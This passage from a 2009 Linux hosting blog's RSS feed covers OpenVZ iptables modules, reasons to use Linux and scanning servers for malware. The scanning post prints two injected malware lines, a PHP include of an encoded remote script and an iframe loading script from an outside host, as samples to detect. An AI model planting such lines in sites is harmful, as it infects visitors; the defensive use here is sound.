<p>Start the container : vzctl start 960</p>
<p>check whether the modules are enabled from the configuration file cat /etc/vz/conf/960.conf. You are DONE.</p>
<p>Please note that if the command &#8220;vzctl set 960 &#8211;iptables ipt_ &#8230;.&#8221; is executed for the second time for the same VPS, it will over write the previous configuration.</p>
<p><strong>For enabling it on all VPSes, please add to /etc/sysconfig/vz all those modules like IPTABLES=&#8221;module1 module2 &#8230;.etc&#8221;</strong></p>
<div class="tweetthis" style="text-align:left;"><p> <a  class="tt" href="http://twitter.com/home/?status=How+to+enable+IPtable+modules+on+a+VPS++http%3A%2F%2Fwww.supportsages.com%2Fblog%2F520" title="Post to Twitter"><img class="nothumb" src="http://www.supportsages.com/blog/wp-content/plugins/tweet-this/icons/en/twitter/tt-twitter3.png" alt="Post to Twitter" /></a> <a  class="tt" href="http://twitter.com/home/?status=How+to+enable+IPtable+modules+on+a+VPS++http%3A%2F%2Fwww.supportsages.com%2Fblog%2F520" title="Post to Twitter">Tweet This Post</a></p></div>]]></content:encoded>
			<wfw:commentRss>http://www.supportsages.com/blog/2009/08/how-to-enable-iptable-modules-on-a-vps/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Chapter 2 Why Linux is important?</title>
		<link>http://www.supportsages.com/blog/2009/05/chapter-2-why-linux-is-important/</link>
		<comments>http://www.supportsages.com/blog/2009/05/chapter-2-why-linux-is-important/#comments</comments>
		<pubDate>Sun, 03 May 2009 10:26:36 +0000</pubDate>
		<dc:creator>Fabian</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Training]]></category>
		<category><![CDATA[advantages of linux]]></category>
		<category><![CDATA[features of linux]]></category>
		<category><![CDATA[linux freedom]]></category>
		<category><![CDATA[security in linux]]></category>
		<category><![CDATA[user and linux]]></category>
		<category><![CDATA[why linux]]></category>

		<guid isPermaLink="false">http://www.supportsages.com/blog/?p=214</guid>
		<description><![CDATA[<p style="text-align: left;">Linux has its own importance nowadays days due to the following reasons, which other OS's may not have !</p>

<ol>
	<li><strong>Freedom's in Linux :-</strong></li>
<p style="text-align: left;">If you have been following the Open Source movement, you know I am not talking about the price of the software when I say freedom.</p>

Free not as in free drinks. But Free as in Freedom or Free speech. In most cases, you get free drinks though :-)

Freedom 0 - The freedom to run the program, for any purpose :-
Yes, the users have the freedom to run the program for any purposes like software development, animation, ...]]></description>
			<content:encoded><![CDATA[<p style="text-align: left;">Linux has its own importance nowadays days due to the following reasons, which other OS&#8217;s may not have !</p>
<ol>
<li><strong>Freedom&#8217;s in Linux :-</strong></li>
<p style="text-align: left;">If you have been following the Open Source movement, you know I am not talking about the price of the software when I say freedom.</p>
<p>Free not as in free drinks. But Free as in Freedom or Free speech. In most cases, you get free drinks though <img src='http://www.supportsages.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>Freedom 0 &#8211; The freedom to run the program, for any purpose :-<br />
Yes, the users have the freedom to run the program for any purposes like software development, animation, designing, desktops etc. We can run the program without any prior license from any authorities.</p>
<p>Freedom 1 &#8211; The freedom to study.<br />
In Linux we have got the freedom to study how the program works, and adapt it according to our needs. Access to the source code is a precondition for this, which is allowed in Linux.</p>
<p>Freedom 2 &#8211; The freedom to redistribute the copies.<br />
We can distribute our copy of linux through dvd&#8217;s, pen-drives etc, so that we can help our neighbor &amp; fellow human beings.</p>
<p>Freedom 3 &#8211; The freedom to improve the program.<br />
Since we have the access to the source code, we can modify it and release our improvements to the public, so that the whole community benefits.</p>
<p>A program is free software if users have all of these freedoms.</p>
<p>And for a desktop user, most importantly, the freedom from viruses, as long as you use the software downloaded from the software repository of your OS <img src='http://www.supportsages.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<li><strong>Multi-User Environment:-</strong></li>
<p>Linux supports multi-user enviornment, ie several users are allowed to login to the same system with different permissions.</p>
<li><strong>Potability :-</strong></li>
<p>Linux is  portable. It is possible to reuse the existing code instead of creating new code when moving software from an environment to another. The portability is the key issue for development cost reduction.</p>
<li><strong>Intimate knowledge of the hardware :-</strong></li>
<p>Noting better than Linux to know your machine&#8217;s hardware information. A detailed information could be seen using a command &#8216;lspci&#8217;.(use option -vvv for more detailed info)</p>
<blockquote><p>supportsage@supportsage-desktop:~$ lspci<br />
00:00.0 Host bridge: VIA Technologies, Inc. K8M800 Host Bridge<br />
00:00.1 Host bridge: VIA Technologies, Inc. K8M800 Host Bridge<br />
00:00.2 Host bridge: VIA Technologies, Inc. K8M800 Host Bridge<br />
00:00.3 Host bridge: VIA Technologies, Inc. K8M800 Host Bridge<br />
00:00.4 Host bridge: VIA Technologies, Inc. K8M800 Host Bridge<br />
00:00.7 Host bridge: VIA Technologies, Inc. K8M800 Host Bridge<br />
00:01.0 PCI bridge: VIA Technologies, Inc. VT8237 PCI bridge [K8T800/K8T890 South]<br />
00:0f.0 IDE interface: VIA Technologies, Inc. VIA VT6420 SATA RAID Controller (rev 80)<br />
00:0f.1 IDE interface: VIA Technologies, Inc. VT82C586A/B/VT82C686/A/B/VT823x/A/C PIPC Bus Master IDE (rev 06)<br />
00:10.0 USB Controller: VIA Technologies, Inc. VT82xxxxx UHCI USB 1.1 Controller (rev 81)<br />
00:10.1 USB Controller: VIA Technologies, Inc. VT82xxxxx UHCI USB 1.1 Controller (rev 81)<br />
00:10.2 USB Controller: VIA Technologies, Inc. VT82xxxxx UHCI USB 1.1 Controller (rev 81)<br />
00:10.3 USB Controller: VIA Technologies, Inc. VT82xxxxx UHCI USB 1.1 Controller (rev 81)<br />
00:10.4 USB Controller: VIA Technologies, Inc. USB 2.0 (rev 86)<br />
00:11.0 ISA bridge: VIA Technologies, Inc. VT8237 ISA bridge [KT600/K8T800/K8T890 South]<br />
00:11.5 Multimedia audio controller: VIA Technologies, Inc. VT8233/A/8235/8237 AC97 Audio Controller (rev 60)<br />
00:12.0 Ethernet controller: VIA Technologies, Inc. VT6102 [Rhine-II] (rev 78)<br />
00:18.0 Host bridge: Advanced Micro Devices [AMD] K8 [Athlon64/Opteron] HyperTransport Technology Configuration<br />
00:18.1 Host bridge: Advanced Micro Devices [AMD] K8 [Athlon64/Opteron] Address Map<br />
00:18.2 Host bridge: Advanced Micro Devices [AMD] K8 [Athlon64/Opteron] DRAM Controller<br />
00:18.3 Host bridge: Advanced Micro Devices [AMD] K8 [Athlon64/Opteron] Miscellaneous Control<br />
01:00.0 VGA compatible controller: VIA Technologies, Inc. S3 Unichrome Pro VGA Adapter (rev 01)</p></blockquote>
<p>An example for more detailed hardware information is given below.</p>
<blockquote><p>supportsage@supportsage-desktop:~$ lspci -vvv<br />
00:00.0 Host bridge: VIA Technologies, Inc. K8M800 Host Bridge<br />
Subsystem: VIA Technologies, Inc. K8M800 Host Bridge<br />
Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B-<br />
Status: Cap+ 66MHz+ UDF- FastB2B- ParErr- DEVSEL=medium &gt;TAbort- &lt;TAbort- &lt;MAbort+ &gt;SERR- &lt;PERR-<br />
Latency: 8<br />
Region 0: Memory at e8000000 (32-bit, prefetchable) [size=128M]<br />
Capabilities: &lt;access denied&gt;</p></blockquote>
<li><strong>No BSOD &#8211; Blue Screen of Death :-</strong></li>
<p>The BSOD is a colloquialism used for the error screen displayed by some other operating systems. And a Linux based system is free from this.</p>
<li><strong>Upgradeability :-</strong></li>
<p>The Linux systems could be upgraded quite easily, with the help of on-line repositories. Upgradation is possible without any changes in the system configuration and saved data&#8217;s.</p>
<li><strong>Customization :-</strong></li>
<p>Linux machine can be easily customised accourding to the user expectations. I leave , how to customise Linux to your imagination.</p>
<li><strong>Security &#8211; viruses, worms and trojans :-</strong></li>
<p>Linux machines are well known for its security. 65% of the server are running on Linux based machines. Linux machines are very less infected by viruses, worms and trojans.</p>
<li><strong>Maturity &#8211; Stable, Reliable and Extremely powerful :-</strong></li>
<p>Another fine reason for using server&#8217;s based on Linux is its &#8216;stability&#8217; &amp; &#8216;reliability&#8217;. No reboot is needed, except for kernel upgrades. OS like windows XP need a reboot, even a new application software is installed.</p>
<li><strong>Support :-</strong></li>
<p>You can get support for Linux from millions of forums, live IRC&#8217;s and even from your local LUG(Linux User Group). All are there to help you <img src='http://www.supportsages.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<li><strong>Complete development environment :-</strong></li>
<p>A C compiler for Windows alone would set you back hundreds of dollars. Whereas in Linux, most of the development libraries like gcc, perl, python, javac etc comes built-in.</ol>
<div class="tweetthis" style="text-align:left;"><p> <a  class="tt" href="http://twitter.com/home/?status=Chapter+2+Why+Linux+is+important%3F+http%3A%2F%2Fwww.supportsages.com%2Fblog%2F214" title="Post to Twitter"><img class="nothumb" src="http://www.supportsages.com/blog/wp-content/plugins/tweet-this/icons/en/twitter/tt-twitter3.png" alt="Post to Twitter" /></a> <a  class="tt" href="http://twitter.com/home/?status=Chapter+2+Why+Linux+is+important%3F+http%3A%2F%2Fwww.supportsages.com%2Fblog%2F214" title="Post to Twitter">Tweet This Post</a></p></div>]]></content:encoded>
			<wfw:commentRss>http://www.supportsages.com/blog/2009/05/chapter-2-why-linux-is-important/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to do virus scan on Linux servers ?</title>
		<link>http://www.supportsages.com/blog/2009/04/how-to-do-virus-scan-on-linux-servers/</link>
		<comments>http://www.supportsages.com/blog/2009/04/how-to-do-virus-scan-on-linux-servers/#comments</comments>
		<pubDate>Tue, 21 Apr 2009 12:09:42 +0000</pubDate>
		<dc:creator>George</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[virus]]></category>

		<guid isPermaLink="false">http://www.supportsages.com/blog/?p=73</guid>
		<description><![CDATA[Do you really need to do virus scan on Linux servers ? Sometimes yes. With the recent high level of iframe/php include/js injections, it seems we need to scan the pages for iframe injections, like below

<blockquote>
<code>< ? php include(urldecode("%68%74%74%70%3a%2f%2f%62%75%79%34%6d%65%2e%69%6e%66%6f%2f%73%63%72%2f%31%30%2e%74%78%74")); ? >
< iframe src=http://ms.nesseseni.cn/src.js >< /iframe ></code></blockquote>

Below are a few URLs which could help you in the process 

<a href="http://www.google.com/safebrowsing/diagnostic?site=http://supportsages.com">http://www.google.com/safebrowsing/diagnostic?site=http://supportsages.com</a>
<a href="http://www.malwaredomains.com/">http://www.malwaredomains.com/</a>
<a href="http://www.malwaredomainlist.com/mdl.php">http://www.malwaredomainlist.com/mdl.php</a> - A regularly updated list.

You can install clamav antivirus which is open source and do a clamav scan to make sure that the website is not affected. On a cPanel server, the below command will scan the entire website ...]]></description>
			<content:encoded><![CDATA[<p>Do you really need to do virus scan on Linux servers ? Sometimes yes. With the recent high level of iframe/php include/js injections, it seems we need to scan the pages for iframe injections, like below</p>
<blockquote><p>
<code>< ? php include(urldecode("%68%74%74%70%3a%2f%2f%62%75%79%34%6d%65%2e%69%6e%66%6f%2f%73%63%72%2f%31%30%2e%74%78%74")); ? ><br />
< iframe src=http://ms.nesseseni.cn/src.js >< /iframe ></code></p></blockquote>
<p>Below are a few URLs which could help you in the process </p>
<p><a  href="http://www.google.com/safebrowsing/diagnostic?site=http://supportsages.com">http://www.google.com/safebrowsing/diagnostic?site=http://supportsages.com</a><br />
<a  href="http://www.malwaredomains.com/">http://www.malwaredomains.com/</a><br />
<a  href="http://www.malwaredomainlist.com/mdl.php">http://www.malwaredomainlist.com/mdl.php</a> &#8211; A regularly updated list.</p>
<p>You can install clamav antivirus which is open source and do a clamav scan to make sure that the website is not affected. On a cPanel server, the below command will scan the entire website files of each users.</p>
<blockquote><p>clamscan -i -r &#8211;remove /home/*/public_html/</p></blockquote>
<p>Why would I recommend clamav over other paid antivirus ? For obvious reasons that you can edit ClamAV rules to include more iframe detection rules. Just write a new regex rules in the clamav virus DBs and you have the situation under control, at least for those matching iframe codes.</p>
<p>Other solution would be mod_security 2.5 that could help preventing the page alteration using SQL injection and javascript injection and threats detailed in <a  href="http://www.gnucitizen.org/blog/atom-2/">http://www.gnucitizen.org/blog/atom-2/</a></p>
<p>Here I was talking about server security. Once infected, there are a few things client has to do as well.</p>
<p>   1. Scan your machine as well as your webmaster&#8217; with anti-virus and anti-spyware tools.<br />
   2. Once you are sure your computer is clean, change all site passwords. (You might want to change computer and network passwords too.)<br />
   3. Now keep the new passwords secure.<strong> Don’t use auto-upload features</strong> of your WYSIWYG editors or in your FTP browsers. Enter passwords every time you upload new content instead. Use SFTP instead of FTP if possible. Only a few hosts offer sftp though.<br />
   4. If your site was flagged by Google at http://www.google.com/safebrowsing/diagnostic , request a malware review via Webmaster Tools.<br />
   5. Regularly check your site with diagnostics tools of your choice (like <a  href="http://unmaskparasites.com/">Unmask Parasites</a> ) to be sure your site is clean.</p>
<div class="tweetthis" style="text-align:left;"><p> <a  class="tt" href="http://twitter.com/home/?status=How+to+do+virus+scan+on+Linux+servers+%3F+http%3A%2F%2Fwww.supportsages.com%2Fblog%2F73" title="Post to Twitter"><img class="nothumb" src="http://www.supportsages.com/blog/wp-content/plugins/tweet-this/icons/en/twitter/tt-twitter3.png" alt="Post to Twitter" /></a> <a  class="tt" href="http://twitter.com/home/?status=How+to+do+virus+scan+on+Linux+servers+%3F+http%3A%2F%2Fwww.supportsages.com%2Fblog%2F73" title="Post to Twitter">Tweet This Post</a></p></div>]]></content:encoded>
			<wfw:commentRss>http://www.supportsages.com/blog/2009/04/how-to-do-virus-scan-on-linux-servers/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

